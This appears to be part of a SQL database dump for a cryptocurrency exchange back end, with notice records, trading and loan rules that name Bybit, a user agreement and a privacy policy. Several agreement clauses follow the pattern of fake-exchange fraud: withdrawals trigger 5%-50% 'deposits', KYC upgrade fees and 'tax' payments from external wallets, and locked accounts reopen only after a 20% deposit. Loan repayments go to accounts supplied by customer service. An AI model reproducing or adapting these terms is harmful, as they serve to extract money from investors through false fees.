'2023-08-21 21:42:58', NULL, '2023-08-22 14:03:49'); +INSERT INTO `t_notice` VALUES (73, '英语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.05f9994c159d248afaa68137c11b85a1b.png', NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:43:20', NULL, '2023-08-22 14:03:59'); +INSERT INTO `t_notice` VALUES (74, '日语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.010c30fb4a7704d61ac83c5b591b97a2d.png', NULL, NULL, 'ja', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:43:37', NULL, '2023-08-22 14:04:10'); +INSERT INTO `t_notice` VALUES (75, '韩语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0f7a9e9f1e18241c1a1ba9564ecd793d6.png', NULL, NULL, 'ko', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:44:05', NULL, '2023-08-22 14:04:20'); +INSERT INTO `t_notice` VALUES (76, '泰语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.02b0abc7d400c412083ff96bbf04a0f0d.png', NULL, NULL, 'th', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:44:25', NULL, '2023-08-22 14:04:30'); +INSERT INTO `t_notice` VALUES (77, '越南语', '2', '3', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0278fd0f66ed04efbb1d9a3628966fa70.png', NULL, NULL, 'vi', '0', NULL, NULL, NULL, NULL, '2023-08-21 21:44:42', NULL, '2023-08-22 14:04:40'); +INSERT INTO `t_notice` VALUES (78, '首页公告', '3', '1', 'Start your digital currency journey ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:00:48', NULL, NULL); +INSERT INTO `t_notice` VALUES (79, '首页公告', '3', '1', 'デジタル通貨の旅を始めましょう ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'ja', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:01:05', NULL, NULL); +INSERT INTO `t_notice` VALUES (80, '首页公告', '3', '1', 'Bắt đầu hành trình tiền tệ kỹ thuật số của bạn ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'vi', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:01:44', NULL, NULL); +INSERT INTO `t_notice` VALUES (81, '首页公告', '3', '1', '디지털 통화 여정을 시작하세요 ', 0, NULL, 0, NULL, NULL, NULL, NULL, 'ko', '0', NULL, NULL, NULL, NULL, '2023-08-22 17:02:52', NULL, NULL); +INSERT INTO `t_notice` VALUES (82, '白皮书-中文', '4', '1', NULL, 0, NULL, 0, NULL, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0003cf2282a984c37bb0ba0ab5cfd4615.pdf', NULL, NULL, 'en', '0', NULL, NULL, NULL, NULL, '2023-08-25 13:09:58', NULL, '2023-08-25 17:09:56'); + +-- ---------------------------- +-- Table structure for t_option_rules +-- ---------------------------- +DROP TABLE IF EXISTS `t_option_rules`; +CREATE TABLE `t_option_rules` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '标题', + `language` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '语言 en zh', + `content` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL COMMENT '内容', + `is_show` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '是否展示 0展示 2不展示', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `type` int(0) NULL DEFAULT NULL COMMENT '0=服务条款 1=秒合约说明 2=币币交易说明 3=代理活动 4=U本位合约说明 5=注册隐私政策 6=注册使用条款 7=贷款规则', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 100129 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '前台文本配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_option_rules +-- ---------------------------- +INSERT INTO `t_option_rules` VALUES (100108, '秒合约规则', 'zh', '

    交易时间: 秒合约的交易时间非常短,您需要在极短的时间内进行交易决策和操作。


    交易币种: 秒合约可能适用于不同的交易币种,您可以选择您熟悉的币种进行交易。


    交易方向: 您可以选择做多(买入)或做空(卖出)秒合约,根据您对市场走势的判断。


    交易费用: 秒合约可能会产生交易费用,包括开仓费、平仓费等。这些费用可能因交易所而异。


    交易平台: 秒合约通常在一些特定的交易平台上提供,这些平台专注于提供快速交易的体验。


    秒合约的交易时间短,市场波动也可能较大,因此市场风险相对较高。建议您进行充分的市场分析和风险评估。

    ', '0', '2023-08-08 15:21:38', 1, NULL); +INSERT INTO `t_option_rules` VALUES (100109, '贷款规则', 'zh', '

    1,什么是 Bybit借贷?

    Bybit 贷款是与第三方贷款公司合作的一项金融服务,为您提供贷款以满足短期流动性资金需求。 


    2,我怎样才能获得贷款?需要满足什么要求?

    贷款程序尽可能简单。只要你有一个 bybit 账户。你需要确保你的Bybit账户中有足够的抵押资产进行贷款,同意条款并申请贷款,然后寻找客服进行确认


    3,所借资产可以在 Bybit 上交易哪些产品?

    所借代币可以在 Bybit 上进行任何交易,(杠杆交易,合约交易,质押挖矿)


    4,所借资产可以提现吗?

    可以,你可以提取所借资产,但是请注意您的还款不能从Bybit 账户内扣除,您需要完成还款才能进行提取功能


    5,借币以什么形式进行发放?

    借币可以以USDT,BTC,ETH等热门币种进行发放,贷款审核完成后会在24小时内发放到你的总资产中


    6,最低贷款期限是多少?

    目前,贷款期设有 7 天、14 天、30 天和60 天,用户可以随时归还所借代币。如有疑问请联系客服进行详细咨询


    7,我可以用与贷款货币不同的币种来偿还贷款吗?

    可以,你可以使用等额的BTC,ETH或USDT偿还贷款


    8,如何计算贷款利息?

    利息根据实际借贷时间计算得出(不足一个月按一个月进行计算)。月利率0.01。(例如你借款100000美元,那么你一个月的还款利息是1000美元)

    每月的最后3天为最后还款日,当然你也可以提前完成还款,如果月末3天遇上周六,周日,或者公休日,还款日将顺推1-3天



    9,可以提前偿还全部或部分贷款吗?

    您可以提前偿还贷款。您可以寻找客服申请提前还款完成此操作。


    如果提前还款,超过3000美元(或3500美元或3500欧元)。 总还款额(包括费用)不能超过您在原期结束时必须还款的金额。 这意味着,在提前还款的情况下,您必须偿还相同款项。


    10,如何偿还本金和利息?

    请联系客服人员,客服人员将为你提供专门的还款账户


    11,贷款到期后会自动还款吗?

    目前暂不支持自动还款。


    12,如果我没有按时还款会怎么样?

    为避免错过贷款还款日,客服会在您该还款日期之前反复通知。如果您错过还款日,您的贷款将自动延长7天。在这种情况下,您将被收取贷款金额的0.025的额外逾期利息


    如果您在延长期限结束时错过付款,您的信用额度将再次延长 7 天。通过这种方式,贷款可以根据您的意愿多次延长,同时您的抵押品足以担保债务。请注意,您需要为贷款的每次延期付费。您的贷款债务随着每次延期而增加,在每次延期时你必须先缴纳逾期利息,请注意!如果长时间未缴纳逾期利息或归还本金,可能会面临冻结账户

    ', '0', '2023-08-08 15:46:47', 7, NULL); +INSERT INTO `t_option_rules` VALUES (100110, NULL, NULL, '

    1,什么是 Bybit借贷?

    Bybit 贷款是与第三方贷款公司合作的一项金融服务,为您提供贷款以满足短期流动性资金需求。 


    2,我怎样才能获得贷款?需要满足什么要求?

    贷款程序尽可能简单。只要你有一个 bybit 账户。你需要确保你的Bybit账户中有足够的抵押资产进行贷款,同意条款并申请贷款,然后寻找客服进行确认


    3,所借资产可以在 Bybit 上交易哪些产品?

    所借代币可以在 Bybit 上进行任何交易,(杠杆交易,合约交易,质押挖矿)


    4,所借资产可以提现吗?

    可以,你可以提取所借资产,但是请注意您的还款不能从Bybit 账户内扣除,您需要完成还款才能进行提取功能


    5,借币以什么形式进行发放?

    借币可以以USDT,BTC,ETH等热门币种进行发放,贷款审核完成后会在24小时内发放到你的总资产中


    6,最低贷款期限是多少?

    目前,贷款期设有 7 天、14 天、30 天和60 天,用户可以随时归还所借代币。如有疑问请联系客服进行详细咨询


    7,我可以用与贷款货币不同的币种来偿还贷款吗?

    可以,你可以使用等额的BTC,ETH或USDT偿还贷款


    8,如何计算贷款利息?

    利息根据实际借贷时间计算得出(不足一个月按一个月进行计算)。月利率0.01。(例如你借款100000美元,那么你一个月的还款利息是1000美元)

    每月的最后3天为最后还款日,当然你也可以提前完成还款,如果月末3天遇上周六,周日,或者公休日,还款日将顺推1-3天



    9,可以提前偿还全部或部分贷款吗?

    您可以提前偿还贷款。您可以寻找客服申请提前还款完成此操作。


    如果提前还款,超过3000美元(或3500美元或3500欧元)。 总还款额(包括费用)不能超过您在原期结束时必须还款的金额。 这意味着,在提前还款的情况下,您必须偿还相同款项。


    10,如何偿还本金和利息?

    请联系客服人员,客服人员将为你提供专门的还款账户


    11,贷款到期后会自动还款吗?

    目前暂不支持自动还款。


    12,如果我没有按时还款会怎么样?

    为避免错过贷款还款日,客服会在您该还款日期之前反复通知。如果您错过还款日,您的贷款将自动延长7天。在这种情况下,您将被收取贷款金额的0.025的额外逾期利息


    如果您在延长期限结束时错过付款,您的信用额度将再次延长 7 天。通过这种方式,贷款可以根据您的意愿多次延长,同时您的抵押品足以担保债务。请注意,您需要为贷款的每次延期付费。您的贷款债务随着每次延期而增加,在每次延期时你必须先缴纳逾期利息,请注意!如果长时间未缴纳逾期利息或归还本金,可能会面临冻结账户

    ', NULL, '2023-08-08 15:47:25', 7, NULL); +INSERT INTO `t_option_rules` VALUES (100111, '使用条款', 'zh', '

    User License Agreement


    1. General Rules

    1.1 The User Agreement (\"Agreement\" or \"Terms and Conditions\") consists of the text, the Privacy Policy, the Know Your Customer and Anti-Money Laundering Policy, and various rules, statements, and instructions that have been or may be issued by the Site. The Agreement consists of the text, the Privacy Policy, the Know Your Customer and Anti-Money Laundering Policy, and any rules, statements, instructions, etc. that have been or may be published on the Site.

    1.2 You should read this Agreement carefully before using the services provided by the Site and consult a professional lawyer if you do not understand anything or if otherwise necessary. If you do not agree with this Agreement and/or its modification from time to time, you should immediately stop using the services provided by the Site or stop accessing the Site. Once you access this website, use any service of this website or any other similar behavior, you have understood and fully agree to the content of this agreement, including any modification of this agreement made by this website at any time.

    1.3 You can become a member of this website (hereinafter referred to as \"Member\") by filling in the relevant information in accordance with the requirements of this website and successfully registering after other relevant procedures. In the process of registration, clicking the \"Agree\" button means that you have reached an agreement with the company in the form of electronic signature; or when you click on any button marked with \"Agree\" or similar meaning in the process of using this website or actually use the services provided by this website in other ways allowed by this website, it means that you fully understand, agree and accept the binding of all the terms under this agreement, and the absence of your handwritten written signature does not The absence of your handwritten signature does not affect the legally binding effect of this Agreement on you.

    1.4 After becoming a member of this website, you will be given a member account and a corresponding password, which shall be kept by you; you shall be legally responsible for all activities and events carried out with your account.

    1.5 Only members of this website can use the digital asset trading platform provided by this website to trade and enjoy other services provided by this website that are only available to members; non-members can only access the website, browse the website and other services provided by this website.

    1.6 By registering and using any of the services and features offered on the Site, you will be deemed to have read, understood and:

    1.6.1 Accept to be bound by all terms and conditions of this Agreement.

    1.6.2 You confirm that you are 16 years of age or older or have the legal age to enter into a contract under different applicable laws, and that your registration, sale or purchase, posting of information and other acceptance of services on the Site shall be in accordance with the relevant laws and regulations of the sovereign country or region having jurisdiction over you, and that you have sufficient capacity to accept these terms and enter into transactions and use the Site for digital assets Transactions.

    1.6.3 You warrant that all digital assets belonging to you involved in a transaction are legally acquired and owned by you. 1.6.4 You agree that you are solely responsible for your own transactions or non-transactions and any gains or losses.

    1.6.5 You confirm that the information provided during registration is true and accurate.

    1.6.6 You agree to comply with any relevant legal requirements, for tax purposes, including reporting any trading profits.

    1.6.7 You agree not to engage in or participate in conduct or activities that are detrimental to the interests of the Site or the Company at any time, whether or not in connection with the services provided on the Site.

    1.6.8 This Agreement only governs the rights and obligations agreed between you and us, and does not cover legal relationships and legal disputes between users of the Site and other websites and between you as a result of transactions in digital assets.


    2. Agreement amendment

    We reserve the right to revise this Agreement from time to time and to announce the changes by way of posting on the Website without further separate notice to you, and the changed Agreement will be marked on the first page of this Agreement with the time of the changes and will become effective immediately upon posting on the Website. If you do not agree with the changes, you should immediately stop using the Services; by continuing to use the Services, you accept and agree to be bound by the revised Agreement.


    3.Sign Up

    3.1 Sign Up Qualification

    You acknowledge and Sign Up that you shall be a natural person, legal entity or other organization with the ability to sign this agreement and use the services of this website as provided by applicable laws when you complete the registration process or actually use the services provided by this website in other ways as permitted by this website. Once you click on the Sign Up button, it means that you yourself or your authorized agent has agreed to the content of the agreement and its agent to Sign Up and use the services of this website. If you do not have the aforementioned subject qualifications, you and your authorized agent shall bear all consequences resulting from this, and the Company reserves the right to cancel or permanently freeze your account and pursue responsibility from you and your authorized agent.

    3.2 Sign Up Purpose

    You acknowledge and undertake that your Sign Up on this website is not for the purpose of violating laws and regulations or disrupting the orderly trading of digital assets on this website.

    3.3 Sign Up Process

    3.3.1 You agree to provide valid email address, cell phone number and other information as required by the user Sign Up page of this website, and you may use the email address, cell phone number provided or confirmed by you or other means allowed by this website as a means of logging into this website. If necessary, according to the relevant laws and Sign Up of different jurisdictions, you must provide your real name, identity document and other relevant information as stipulated by the law and the Sign Up page, and keep the information on the Sign Up page updated to meet the timeliness, exhaustiveness and accuracy of the Sign Up page. All information initially keyed in will be cited as contracted information. You shall be responsible for the truthfulness, completeness and accuracy of such information, and shall bear any direct or indirect losses and adverse consequences arising therefrom.

    3.3.2 If the laws, regulations, rules, orders and other norms of your sovereign country or region have real name requirements for cell phone numbers, you agree to provide that the Sign Up cell phone number is registered with your real name, and if you do not provide it in accordance with the regulations, any direct or indirect losses and adverse consequences caused to you as a result shall be borne by you.

    3.3.3 You are entitled to obtain an account number and password for this website after you have legally, completely and effectively provided the information required for Sign Up and verified it.

    3.3.4 You agree to receive e-mails and/or short messages from the Site in connection with the administration and operation of the Site.


    4.Serve

    This website only provides web trading platform services for your digital asset trading activities (including but not limited to digital asset trading and other services) through this website.

    4.1 Service Content

    4.1.1 You have the right to browse the real-time quotation and trading information of various products of digital assets on this website, and the right to submit digital asset trading orders and complete digital asset trading through this website.

    4.1.2 You have the right to view the information under your member account on this website and the right to use the functions provided on this website for operation.

    4.1.3 You have the right to participate in the website activities organized by this website in accordance with the rules of activities published on this website.

    4.1.4 Other services that this website promises to provide for you.

    4.2. Service Rules You undertake to abide by the following service rules of this website:

    4.2.1 You shall comply with the provisions of laws, regulations, and policy requirements, ensure the legality of the source of all digital assets in your account, and shall not engage in illegal or other activities that harm the rights and interests of the Website or third parties on the Website or using the services of the Website, including but not limited to sending or receiving any illegal, irregular, or infringing information on the rights and interests of others, sending or receiving marketing materials or other harmful information or Once your account funds are complained, you must cooperate with the platform to review the information and collect the evidence.

    4.2.2 You shall comply with the laws and regulations and use and keep your account and login password, fund password, and the cell phone number bound to your registration, as well as the cell phone verification code received by your cell phone. You are fully responsible for any operation and consequences of using your account number and login password, fund password and mobile phone verification code. When you find that the account number, login password, or fund password or verification code of this website is used by a third party without your authorization, or there are other account security problems, you should immediately and effectively notify this website and request this website to suspend the service of this website account. This website has the right to take action on such request from you within a reasonable time, but this website will not be responsible for the consequences (including but not limited to any loss to you) that have arisen before taking action. You may not give, borrow, rent, transfer or otherwise dispose of your account on the Website to another person without the consent of the Website.

    4.2.3 You agree to be responsible for all activities that occur under your account and password on the Site (including but not limited to disclosing information, posting information, clicking online to agree to or submit to various rules and agreements, renewing agreements online or purchasing services, etc.).

    4.2.4 You shall not maliciously interfere with the normal conduct of digital asset transactions or disrupt the order of transactions when trading digital assets on this website; you shall not interfere with the normal operation of this website or interfere with other users\' use of the services of this website by any technical means or otherwise; you shall not maliciously defame the goodwill of this website by falsifying facts or other means.

    4.2.5 If you have disputes with other users due to online transactions, you shall not request the Website to provide relevant information through judicial or administrative channels other than the Website.

    4.2.6 In the process of using the services provided by this website, the taxable expenses, as well as all hardware, software, services and other expenses shall be borne by you alone.

    4.2.7 Due to the current special international situation, large amounts of funds are withdrawn from sensitive countries or regions (USA, Russia, Ukraine, China, Taiwan, etc.). You must ensure that your funds are legitimate, do not use the decentralized nature of the Site to engage in any form of terrorist, political, military or anti-religious activities, and refuse to fund such groups and individuals. If your funds are monitored and prosecuted by the financial authorities during the withdrawal process, you may be required to pay a deposit of 5%-50%.

    4.2.8 You shall comply with this Agreement and other terms of service and operating rules published and updated from time to time on this website, and have the right to terminate the use of the services provided by this website at any time.

    4.2.9 If you withdraw a total of USD 200,000 or a single withdrawal of USD 50,000 or more from our website, you will need to increase your KYC level and pay a deposit for the upgrade channel fee, which will be calculated through a cryptographic system based on the blockchain network you use and will be refunded to your trading account when the upgrade is completed.

    4.3. Product rules

    4.3.1 Viewing Trading Information

    When browsing the trading information on this website, you should carefully read all the contents contained in the trading information, including but not limited to the price, order volume, commission, buy or sell direction, and you should not click on the button to trade until you fully accept all the contents contained in the trading information.

    4.3. 2 Submitting an order

    After reviewing the trade information and confirming that it is correct, you may submit your trade order. When you submit a trade order, you authorize this website to conduct the corresponding trade aggregation on your behalf, and this website will automatically complete the aggregated trade without prior notice to you when there is a trade that meets your order price.

    4.3.3 Viewing transaction details

    You can view the corresponding transaction records through your account.

    4.3.4 Revoke/modify an order. You have the right to revoke or modify an order at any time before it is concluded.


    5. Rights and obligations of this website

    5.1 If you do not have the registration qualifications agreed to in this agreement, the Site has the right to refuse your registration, and for those who have registered, the Site has the right to cancel your membership account, and the Site reserves the right to pursue responsibility from you or your authorized agent. At the same time, this website reserves the right to decide whether to accept your registration under any other circumstances.

    5.2 According to the Site\'s own judgment, the Site has the right to suspend or terminate your account and all associated accounts if it finds that you or your associated account users are not suitable for high-risk investments.

    5.3 If the Website finds that the account user is not the initial registrant of the account, it has the right to suspend or terminate the use of the account.

    5.4 The Website has the right to notify you to correct or update the information or suspend or terminate the services of the Website for you when it reasonably suspects that the information provided by you is incorrect, inaccurate, invalid or incomplete through technical testing, manual sampling and other testing methods.

    5.5 The Website has the right to correct any information displayed on the Website if it is found to be obviously incorrect.

    5.6 The Website reserves the right to modify, suspend or terminate the services of the Website at any time, and the Website exercises the right to modify or suspend the services without prior notice to you; if the Website terminates one or more services on the Website, the termination will take effect from the date the Website publishes the termination notice on the Website.

    5.7 The Website will take necessary technical means and management measures to guarantee the normal operation of the Website and provide necessary and reliable trading environment and trading services to maintain the order of digital asset trading.

    5.8 If you do not use the website member account and password to log in this website for one consecutive year, this website has the right to cancel your account of this website. After account cancellation, the Website has the right to open the corresponding membership name for other users to register and use.

    5.9 Tax Obligations When the available funds in your trading account exceed the funds you deposited, each withdrawal of your funds will trigger a tax audit. If there are no tax disputes in your account, your funds will arrive quickly to your external wallet, otherwise the system will limit some of the functions of your account and send an email about taxes to your email address. Due to the anonymity and untraceability of cryptocurrencies, you cannot use the funds available in your trading account for tax purposes and you will need to pay the corresponding amount of cryptocurrency using your external wallet, as calculated by the system. If you have any concerns or questions, you can consult our online customer service for detailed assistance before using the account.


    6.Compensation

    6.1 In no event will our liability to you for direct damages exceed the total service fees we charge you for your use of the Site for a period of three (3) months.

    6.2 In the event of any breach by you of this Agreement or other laws or regulations, etc., you shall indemnify us for at least $2,000,000 and all costs incurred in connection therewith (including attorneys\' fees, etc.), which shall be made up if not sufficient to cover actual damages.


    7.The right to seek injunctive relief

    We and you acknowledge that common law remedies for your breach or threatened breach may not be sufficient to cover the full amount of damages we have suffered, so we are entitled to seek injunctive relief in the event of your breach or threatened breach and all other remedies permitted at common law or in equity.


    8. Limitation of Liability and Exclusion of Liability

    8.1 You understand and agree that in no event shall we be liable for.

    8.1.1 Loss of revenue.

    8.1.2 Loss of trading profits or contracts.

    8.1.3 Losses resulting from business interruption.

    8.1.4 loss of anticipated monetary savings.

    8.1.5 Losses due to information problems.

    8.1.6 Loss of opportunity, goodwill or reputation.

    8.1.7 Damage to or loss of data.

    8.1.8 The cost of purchasing alternative products or services.

    8.1.9 any indirect, special or incidental loss or damage arising out of tort (including negligence), breach of contract or any other cause, whether or not such loss or damage was reasonably foreseeable by us; whether or not we were advised in advance of the possibility of such loss or damage.

    Sections 8.1.1 to 8.1.9 are independent of each other.

    8.2 You understand and agree that we shall not be liable to you for any damages arising out of any of the following.

    8.2.1 there may be a material breach of law or contract in relation to your particular transaction

    8.2.2 Your conduct on the Site is suspected to be illegal or immoral.

    8.2.3 Costs and losses arising from acts or substitutes such as purchasing or obtaining any data or information or conducting transactions through the services of this website.

    8.2.4 Your misunderstanding of the services of this website.

    8.2.5 Any other losses not caused by us in connection with the services provided on this website.

    8.3 We are not responsible for any loss or damage caused by maintenance of information network equipment, failure of information network connection, failure of computer, communication or other systems, power failure, weather, accidents, strikes, labor disputes, riots, insurrections, disturbances, lack of productivity or means of production, fires, floods, storms, explosions, wars, bank or other partner causes, collapse of the digital asset market, governmental actions, judicial or administrative authorities, other acts beyond our control or beyond our ability to control, or third parties. orders, other acts beyond our control or our ability to control, or third parties, and we will not be liable for any failure to provide service or delay in service, or for any loss you may incur.

    8.4 We cannot guarantee that all information, programs, texts, etc. contained in this website are completely safe and free from any interference and damage by viruses, Trojan horses and other malicious programs, so it is your personal decision and your own risk and possible loss to log on, use any service on this website or download and use any programs, information, data, etc. downloaded.

    8.5 We do not guarantee or promise any information, products and business of any third party websites linked to this website or any other form of content that does not belong to our subjects, etc. If you use any services, information and products provided by third party websites, it is your personal decision and you bear all responsibilities arising therefrom.

    8.6 We make no warranties, express or implied, with respect to your use of the services on the Site, including, but not limited to, the suitability, absence of errors or omissions, continuity, accuracy, reliability, and fitness for a particular purpose of the services provided on the Site. Also, we do not make any promises and guarantees for the validity, accuracy, correctness, reliability, quality, stability, completeness and timeliness of the technology and information involved in the services provided on this website. The decision to access or use the services provided on this website is your own and is at your own risk and possible loss. You understand and appreciate that the market for digital assets is unstable, and that prices and values may fluctuate or collapse significantly at any time, and that trading in digital assets is your own free choice and decision and you bear your own risk and possible losses.

    8.7 Our warranties and undertakings set forth in this Agreement are the only warranties and representations made by us in connection with this Agreement and the services provided on the Site and supersede all other warranties and undertakings, whether written or oral, express or implied, arising from any other means or manner. All such warranties and representations represent only our own promises and guarantees and do not guarantee compliance by any third party with the warranties and undertakings in this Agreement.

    8.8 We do not waive any right we have to limit, exclude or set off our liability for damages to the maximum extent applicable by law that is not mentioned in this agreement.

    8.9 By registering, you acknowledge that any actions taken by us in accordance with the rules set out in this Agreement are at your risk.


    9.Termination of Agreement

    9.1 The Website has the right to terminate all the services of the Website in accordance with this Agreement, and this Agreement will be terminated on the date of termination of all the services of the Website.

    9.2 After the termination of this Agreement, you have no right to request the Website to continue to provide any service or perform any other obligations to you, including but not limited to requesting the Website to retain or disclose to you any information in its original Website account, forwarding to you or a third party any information that it has not read or sent, etc.

    9.3 The termination of this Agreement shall not affect the defaulting party\'s claim of other liabilities against the defaulting party.


    10.Intellectual Property

    10.1 All intellectual property rights in all intellectual works contained in the Site including, but not limited to, the Site logo, databases, Site design, text and graphics, software, photographs, videos, music, sound and combinations thereof, software compilations, related source code and software (including applets and scripts) are owned by the Site. You may not reproduce, modify, copy, transmit or use any of the foregoing materials or content for commercial purposes.

    10.2 All rights (including, without limitation, goodwill and trademarks and logos) contained in the name of the Site are owned by the Company.

    10.3 Your acceptance of this Agreement shall be deemed as your initiative to transfer the copyright of any form of information published on this website, including but not limited to: reproduction rights, distribution rights, rental rights, exhibition rights, performance rights, projection rights, broadcasting rights, information network transmission rights, filming rights, adaptation rights, translation rights, compilation rights and other transferable rights that should be enjoyed by the copyright owner to this website exclusively without compensation, this website The right to file a separate lawsuit against any subject infringement and obtain full compensation. This Agreement shall apply to the content of any copyrighted work published by you on the Website, regardless of whether the content was formed before or after the signing of this Agreement.

    10.4 You shall not unlawfully use or dispose of the intellectual property rights of the Website or others in the course of using the services of the Website. You may not publish or authorize other websites (and media) to use the information that has been published on the Website in any form.

    10.5 Your access to the Site or use of any of the services provided on the Site shall not be deemed to be a transfer of any intellectual property rights from us to you.


    11.Asset Protection

    Risk Control for Withdrawal Addresses. If your withdrawal address is incorrect, the risk control system will lock your account and automatically initiate the verification process. You must complete the following three steps in order for the risk control system to recognize your identity and unlock your account.

    1) Provide a photo of the KYC document you used to authenticate your account on our website.

    2) Find a white piece of paper with today\'s date written on it and have your KYC document, your face and the white paper appear on the same photo.

    3) Use the original crypto wallet to deposit a sum of money to the exchange in the amount of 20% of the total principal amount of your account. Please note that you must complete the deposit to the exchange using the initial crypto wallet or the verification will fail.



    12.Calculation

    All transaction calculations have been verified by us and all calculations have been made public on the website, but we cannot guarantee that the use of the website will be uninterrupted or error-free.


    13.The rights and obligations agreed to in this Agreement also bind the assignees, heirs, executors and administrators of the parties who derive a benefit from such rights and obligations. You may not assign to any third party without our consent, but we may assign our rights and obligations under this Agreement to any third party at any time by giving you notice.


    14.Divisibility

    If any provision of this Agreement is held to be unenforceable, invalid or illegal by any court of competent jurisdiction, it shall not affect the validity of the remaining provisions of this Agreement.


    15.Non-Agent Relationship

    Nothing in this Agreement shall be deemed to create, imply, or otherwise treat us as your agent, fiduciary, or other representative, except as otherwise provided in this Agreement.


    16.Waiver of rights

    No waiver by us or by either of you of the right to pursue a breach of contract or other liability under this Agreement shall be deemed or construed as a waiver of any other breach; and the failure to exercise any right or remedy shall not in any way be construed as a waiver of such right or remedy.


    17.Entry into force and interpretation of the agreement

    19.1 This Agreement shall become effective when you click on the consent to register on the registration page of the Website and complete the registration process and obtain an account and password for the Website, and shall be binding on both the Website and you.

    19.2 The final interpretation of this Agreement is the property of the Website.


    Disclaimer


    Risk Warning

    1. Digital assets involve significant risks and market trading uncertainties. Also, due to the generally small total market capitalization of digital currencies, prices are susceptible to significant fluctuations due to dealer control and the policies of various governments around the world. As a result of price fluctuations, you may have large profits or losses. Any digital asset can fluctuate significantly and may even become worthless.

    2. Digital asset trading may be suspended or prohibited at any time due to the enactment or modification of laws, regulations and regulatory documents in each country. Users should assess their own risks according to local laws, regulations and policy documents when using StarCoin services.

    3. Users should carefully consider and evaluate the investment value and risk of digital assets according to their own financial situation, control the risk of trading, and bear the economic risk of losing all their investment.


    Rights Attribution

    All rights (including copyrights, trademarks, patents, trade secrets and other related rights) in all products, technologies, software, programs, data and other information (including text, icons, images, photos, audio, video, graphics, color combinations, layout designs, etc.) within the Platform are owned by the Platform Service Provider and/or its affiliates unless otherwise stated by the Platform. Without the permission of the platform service provider and/or its affiliates, no one is allowed to use any content in the platform in an unauthorized manner, including monitoring, copying, transmitting, displaying, mirroring, uploading, downloading, etc. through programs or devices such as robots, spiders, etc.

    The text and logo of the Platform, as well as other logos, emblems, product and service names of the Platform are trademarks of the Platform Service Provider and/or its affiliates, and you must obtain prior written authorization from the Platform Service Provider and/or its affiliates for any use such as promotion or display.

    ', '0', '2023-08-08 16:08:18', 6, NULL); +INSERT INTO `t_option_rules` VALUES (100112, '注册隐私', 'zh', '

    Introduction

    Your privacy is important to us. We are committed to protecting the privacy, confidentiality, and security of the personal data we hold by complying with the requirements under applicable laws and regulations. We are equally committed to ensuring that all our employees, service providers, and agents uphold these obligations. This policy explains how we manage personal data within our organization.


    We collect personal data about you in the following ways:

    where you register for an account or to receive emails from us;

    when you order products or services from us

    when you submit a query or request to us

    when you respond to a survey that we run or fill in forms on one of our websites

    by tracking your use of our websites and mobile applications

    from public sources

    from the examination of public and private blockchains

    from third parties who are entitled to disclose that information to us

    when you apply for a job with us

    In some cases, we may be required by law to collect certain types of personal data about you.

    Where we collect personal data from you, we will do so ourselves. However, in some cases, we may collect personal data from a third party, such as through your representatives, contractors who provide services to us, or third parties who refer you to us because they think you may be interested in our products or services.


    Types of personal data we collect

    The types of personal data that we collect and hold about you may include:


    identifying information, such as your name and date of birth, as well

    ID documentation such as a passport or other government-issued photo identification and proof of address documentation such as a utility bill or bank statement

    contact information, such as your postal address, email address and telephone number

    social media handles and other social media profile information that you make available to us or to the public

    public financial information, such as credit card, bank account or other payment details, which DO NOT give access to you funds

    blockchain identifiers, such as blockchain addresses and public keys

    emails and passwords that you create when registering for an account with us

    details of any products or services that we provide to you

    information about how you use the products and services we provide

    records of our communications with you, including any messages you send us

    Without this information, we may not be able to provide you with our products or services (or with all of the features and functionality offered by our products or services) or to respond to queries or requests that you submit to us.


    Purposes for which we use personal data

    We use personal data that we collect about you for the following purposes:


    to verify your identity when you are dealing with us

    to determine your eligibility for any of our products or services

    to determine your compliance with the terms and conditions that apply to any of our products or services and applicable law

    to enable us to provide our products and services

    to improve our website based on your information and feedback

    to answer your queries and requests

    to comply with our legal and regulatory obligations

    to carry out market analysis and research

    to monitor use of our products and services

    to assess, maintain, upgrade and improve our products and services

    to carry out education and training programs for our staff

    to manage and resolve any legal or commercial complaints or issues

    to carry out planning and forecasting activities and other internal business processes

    to keep you informed about our activities, including by sending out newsletters

    Direct marketing

    We may from time to time use your personal data to send you marketing materials about products or services that we think you may be interested in (including in some cases products and services that are provided by a third party). We may not use your data unless we have received your consent. You can opt-out of receiving marketing communications from us by contacting us at csr@tokpiedex.com.


    We may use your following personal data for direct marketing:


    identifying information, such as your name and date of birth

    contact information, such as your postal address, email address and telephone number

    products and services portfolio information and demographic data held by us from time to time

    We may use your personal data to market the following products and services to you:


    creating, purchasing and trading digital assets

    software and hardware wallets for holding digital assets

